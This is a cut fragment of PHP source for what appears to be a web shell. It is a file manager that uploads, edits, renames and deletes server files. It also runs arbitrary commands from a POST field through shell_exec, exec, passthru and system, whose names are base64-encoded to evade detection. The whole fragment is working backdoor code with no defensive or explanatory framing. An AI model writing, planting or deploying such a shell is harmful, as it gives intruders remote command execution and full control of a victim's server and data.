"; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $fullPath = realpath($dir . DIRECTORY_SEPARATOR . $item); if (!$fullPath) continue; $escaped = htmlspecialchars($item); $query = "?p=" . urlencode($dir); if (is_dir($fullPath)) { echo "
Upload successful.
"; } } } function createDirectory($dir) { $name = trim($_POST['folder'] ?? ''); if ($name !== '') { $path = $dir . DIRECTORY_SEPARATOR . basename($name); if (!is_dir($path)) @mkdir($path); } } function createFile($dir) { $name = trim($_POST['file'] ?? ''); if ($name !== '') { $path = $dir . DIRECTORY_SEPARATOR . basename($name); if (!file_exists($path)) @file_put_contents($path, ''); } } function editFile($file) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { file_put_contents($file, $_POST['content'] ?? ''); echo "File saved.
"; } $text = @file_get_contents($file); $safeText = htmlspecialchars($text); echo ""; } function deleteFile($file) { if (file_exists($file)) @unlink($file); } function renameFile($file, $dir) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { $newName = $dir . DIRECTORY_SEPARATOR . basename($_POST['newname'] ?? ''); if ($newName !== $file) @rename($file, $newName); } else { echo ""; } } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['file'])) uploadFile($root); if (isset($_POST['folder'])) createDirectory($root); if (isset($_POST['file'])) createFile($root); } if (isset($_GET['mode']) && isset($_GET['id'])) { $id = basename($_GET['id']); $path = realpath($root . DIRECTORY_SEPARATOR . $id); if ($path && strpos($path, $root) === 0 && is_file($path)) { switch ($_GET['mode']) { case 'edit': editFile($path); exit; case 'delete': deleteFile($path); break; case 'rename': renameFile($path, $root); exit; } } } $command = ''; $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['cmd'])) { $command = $_POST['cmd']; $funcs = [ base64_decode('c2hlbGxfZXhlYw=='), base64_decode('ZXhlYw=='), base64_decode('cGFzc3RocnU='), base64_decode('c3lzdGVt') ]; foreach ($funcs as $f) { if (is_callable($f)) { ob_start(); $f($command); $output = ob_get_clean(); if ($output) break; } } } echo ""; echo ""; echo "Go Back"; echo "Current Path: $root
"; showList($root); echo <<